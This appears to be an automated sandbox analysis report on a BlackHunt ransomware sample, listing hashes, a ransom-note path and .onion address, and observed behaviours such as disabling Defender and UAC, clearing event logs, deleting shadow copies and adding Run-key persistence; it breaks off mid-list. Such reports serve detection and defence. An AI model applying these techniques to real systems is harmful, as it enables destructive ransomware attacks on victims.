Analysis
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max time kernel
120s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:15
Static task
static1
Behavioral task
behavioral1
Sample
4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe
Resource
win10v2004-20231222-en
General
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Target
4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe
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Size
707KB
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MD5
5e12b35372ee360a55287eb16df26642
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SHA1
98fb80cf1c4ce65ca3d6df0a319f3cd95a5d4271
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SHA256
4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23
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SHA512
dd5984bff837ee53d537453fb2800fec81e883fa09e6f495d7b14f690c6b14e39c85ae460e236fe20ecddd02ee47d45e021eced2dc075a31bb4daadd341c5eaa
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1S8yvnh:6uaTmkZJ+naie5OTamgEoKxLWJch
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3456 fsutil.exe 3064 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2716 wevtutil.exe 3812 wevtutil.exe 3640 wevtutil.exe 640 wevtutil.exe 780 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3476 bcdedit.exe 3852 bcdedit.exe 1644 bcdedit.exe 3172 bcdedit.exe -
Renames multiple (2920) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 3976 wbadmin.exe 2480 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 2156 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\V: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\W: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\I: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\K: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\Z: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\T: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\A: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\B: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\U: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\H: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\P: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\E: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\R: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\O: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\G: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\L: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\X: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\S: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\J: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\N: 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened (read-only) \??\M: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-text_zh_CN.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\LINEAR_RGB.pf 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Magadan 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.hta 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.hta 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\sonicsptransform.ax 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-explorer_zh_CN.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_ReadMe.hta 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\GRAY.pf 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\com.jrockit.mc.console.ui.notification_contexts.xml 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-awt_zh_CN.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_CN.properties 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\ConnectUpdate.vstm 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\jawt_md.h 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_ja_4.4.0.v20140623020002.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages.properties 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Google\Update\#BlackHunt_ReadMe.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\about.html 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_ja_4.4.0.v20140623020002.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Kaliningrad 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper.registry_1.0.300.v20130327-1442.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\7-Zip\Lang\uz.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\720x480icongraphic.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\blafdoc.css 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_ja_4.4.0.v20140623020002.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core.xml 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-ui.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.p2.ui.overridden_5.5.0.165303.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_ButtonGraphic.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#BlackHunt_ReadMe.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\Java\jre7\lib\zi\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-modules-appui.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Paramaribo 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Novokuznetsk 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-imageMask.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.zh_CN_5.5.0.165303.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Maldives 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AIR\#BlackHunt_Private.key 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Rome 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Panama 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_zh_CN.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_ReadMe.txt 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_ReadMe.hta 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Davis 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-awt.jar 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Brussels 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3456 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2848 vssadmin.exe 3016 vssadmin.exe 1036 vssadmin.exe 1884 vssadmin.exe 3804 vssadmin.exe 3784 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3912 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1560 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2312 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeRestorePrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeBackupPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeTakeOwnershipPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeAuditPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeSecurityPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeIncBasePriorityPrivilege 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Token: SeBackupPrivilege 1736 vssvc.exe Token: SeRestorePrivilege 1736 vssvc.exe Token: SeAuditPrivilege 1736 vssvc.exe Token: SeBackupPrivilege 1716 wbengine.exe Token: SeRestorePrivilege 1716 wbengine.exe Token: SeSecurityPrivilege 1716 wbengine.exe Token: SeSecurityPrivilege 2716 wevtutil.exe Token: SeBackupPrivilege 2716 wevtutil.exe Token: SeSecurityPrivilege 3812 wevtutil.exe Token: SeBackupPrivilege 3812 wevtutil.exe Token: SeSecurityPrivilege 3640 wevtutil.exe Token: SeSecurityPrivilege 780 wevtutil.exe Token: SeSecurityPrivilege 640 wevtutil.exe Token: SeBackupPrivilege 3640 wevtutil.exe Token: SeBackupPrivilege 780 wevtutil.exe Token: SeBackupPrivilege 640 wevtutil.exe Token: SeDebugPrivilege 3912 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1540 wrote to memory of 2664 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 31 PID 1540 wrote to memory of 2664 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 31 PID 1540 wrote to memory of 2664 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 31 PID 1540 wrote to memory of 2664 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 31 PID 1540 wrote to memory of 2924 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 33 PID 1540 wrote to memory of 2924 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 33 PID 1540 wrote to memory of 2924 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 33 PID 1540 wrote to memory of 2924 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 33 PID 1540 wrote to memory of 2768 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 34 PID 1540 wrote to memory of 2768 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 34 PID 1540 wrote to memory of 2768 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 34 PID 1540 wrote to memory of 2768 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 34 PID 1540 wrote to memory of 2740 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 37 PID 1540 wrote to memory of 2740 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 37 PID 1540 wrote to memory of 2740 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 37 PID 1540 wrote to memory of 2740 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 37 PID 1540 wrote to memory of 2676 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 38 PID 1540 wrote to memory of 2676 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 38 PID 1540 wrote to memory of 2676 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 38 PID 1540 wrote to memory of 2676 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 38 PID 1540 wrote to memory of 2792 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 41 PID 1540 wrote to memory of 2792 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 41 PID 1540 wrote to memory of 2792 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 41 PID 1540 wrote to memory of 2792 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 41 PID 1540 wrote to memory of 2732 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 43 PID 1540 wrote to memory of 2732 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 43 PID 1540 wrote to memory of 2732 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 43 PID 1540 wrote to memory of 2732 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 43 PID 1540 wrote to memory of 2724 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 44 PID 1540 wrote to memory of 2724 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 44 PID 1540 wrote to memory of 2724 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 44 PID 1540 wrote to memory of 2724 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 44 PID 1540 wrote to memory of 2612 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 46 PID 1540 wrote to memory of 2612 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 46 PID 1540 wrote to memory of 2612 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 46 PID 1540 wrote to memory of 2612 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 46 PID 1540 wrote to memory of 2556 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 47 PID 1540 wrote to memory of 2556 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 47 PID 1540 wrote to memory of 2556 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 47 PID 1540 wrote to memory of 2556 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 47 PID 1540 wrote to memory of 2588 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 50 PID 1540 wrote to memory of 2588 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 50 PID 1540 wrote to memory of 2588 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 50 PID 1540 wrote to memory of 2588 1540 